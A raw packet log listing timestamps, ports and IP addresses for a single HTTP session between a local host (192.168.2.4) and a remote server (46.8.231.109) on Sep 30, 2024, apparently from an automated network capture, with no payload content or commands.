Sep 30, 2024 12:22:51.030832052 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.030843019 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.030848026 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.030936956 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.031306982 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.031316996 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.031361103 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.039479971 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.039505005 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.039515972 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.039550066 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.039567947 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.039570093 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.039608002 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.039635897 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.039647102 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.039678097 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.039948940 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.040024996 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.040040970 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.040050983 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.040066004 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.040076971 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.040107965 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.040535927 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.040590048 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.040601015 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.040636063 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.040643930 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.040658951 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.040669918 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.040694952 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.040704966 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.112031937 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.112051964 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.112063885 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.112092018 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.112114906 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.112132072 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.112143040 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.112168074 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.112186909 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.112410069 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.112420082 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.112430096 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.112447023 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.112473965 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.120771885 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.120805025 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.120857000 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.120867968 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.120877981 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.120891094 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.120915890 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.121062040 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.121072054 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.121082067 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.121092081 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.121123075 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.121123075 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.121133089 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.121144056 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.121161938 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.121181011 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.121956110 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.122000933 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.122011900 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.122040033 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.122066021 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.122066975 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.122076035 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.122086048 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.122104883 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.122133017 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.130146980 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.130187988 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.130199909 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.130203009 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.130223036 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.130243063 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.130263090 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.130274057 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.130285025 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.130305052 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.130331993 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.130573988 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.130640984 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.130651951 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.130681038 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.130716085 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.130736113 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.130748987 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.130783081 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.131306887 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.131326914 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.131336927 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.131367922 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.131373882 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.131381035 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.131398916 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.131865978 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.131876945 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.131886959 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.131911039 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.131936073 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.131993055 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.132004976 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.132014990 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.132035971 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.132067919 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.132812023 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.132823944 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.132833958 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.132853985 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.132867098 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.132884026 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.132889032 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.132904053 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.132925034 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.193568945 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.193581104 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.193595886 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.193614960 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.193631887 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.193648100 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.193659067 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.193690062 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.193716049 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.193722010 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.194855928 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.202549934 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.202562094 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.202573061 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.202604055 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.202615023 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.202675104 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.202686071 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.202697039 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.202709913 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.202721119 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.202745914 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.202837944 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.202872038 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.202873945 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.202882051 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.202908039 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.211316109 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.211328030 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.211338043 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.211361885 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.211375952 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.211401939 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.211438894 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.211447001 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.211461067 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.211482048 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.211509943 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.211529016 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.211539984 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.211550951 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.211570024 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.211595058 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.211620092 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.211631060 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.211642027 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.211659908 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.211688042 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.212353945 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.212364912 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.212374926 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.212397099 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.212407112 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.212414026 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.212447882 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.212766886 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.212776899 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.212789059 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.212800026 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.212820053 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.212824106 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.212831020 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.212851048 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.212866068 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.212876081 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.212898016 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.213315964 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.213345051 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.213366985 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.213385105 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.213404894 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.213418961 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.213435888 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.213445902 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.213460922 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.213479042 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.213502884 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.222801924 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.222812891 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.222824097 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.222856998 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.222875118 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.222887039 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.222893000 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.222898006 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.222908020 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.222913027 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.222929001 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.222950935 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.222980976 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.222991943 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.223002911 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.223023891 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.223051071 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.223165035 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.223212957 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.223225117 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.223248005 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.223273039 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.223278046 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.223288059 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.223298073 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.223323107 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.223323107 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.223335028 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.223400116 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.223412037 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.223422050 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.223433018 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.223438978 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.223452091 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.223479033 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.224159002 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.224169970 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.224179983 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.224220991 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.224246025 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.224272013 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.224282026 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.224287987 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.224292994 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.224327087 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.224349976 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.224354029 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.224364042 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.224381924 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.224397898 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.224421978 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.225080967 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.225090981 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.225101948 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.225132942 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.225164890 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.225179911 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.225193024 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.225203037 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.225214005 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.225224018 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.225239038 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.225263119 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.225282907 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.225294113 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.225306034 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.225320101 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.225347042 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.225965023 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.226011038 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.226022959 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.226058006 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.226118088 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.226128101 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.226138115 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.226150036 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.226159096 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.226181984 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.226207018 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.226222038 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.226255894 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.284024000 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.284048080 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.284058094 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.284080029 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.284092903 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.284101963 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.284122944 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.284281969 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.284292936 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.284303904 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.284313917 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.284321070 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.284324884 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.284357071 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.284425020 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.284461021 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.284472942 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.284595966 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.293006897 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.293057919 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.293068886 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.293112993 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.293123007 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.293123007 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.293145895 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.293157101 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.293167114 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.293173075 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.293188095 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.293199062 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.293246031 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.293256998 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.293267965 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.293282986 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.293309927 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.293471098 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.293482065 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.293490887 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.293502092 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.293515921 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.293520927 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.293539047 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.293557882 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.301826954 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.301862001 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.301875114 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.301887035 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.301898003 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.301915884 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.301938057 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.301947117 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.301970959 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.301995993 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.302007914 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:51.302038908 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:51.302062988 CEST	80	52540	46.8.231.109	192.168.2.4
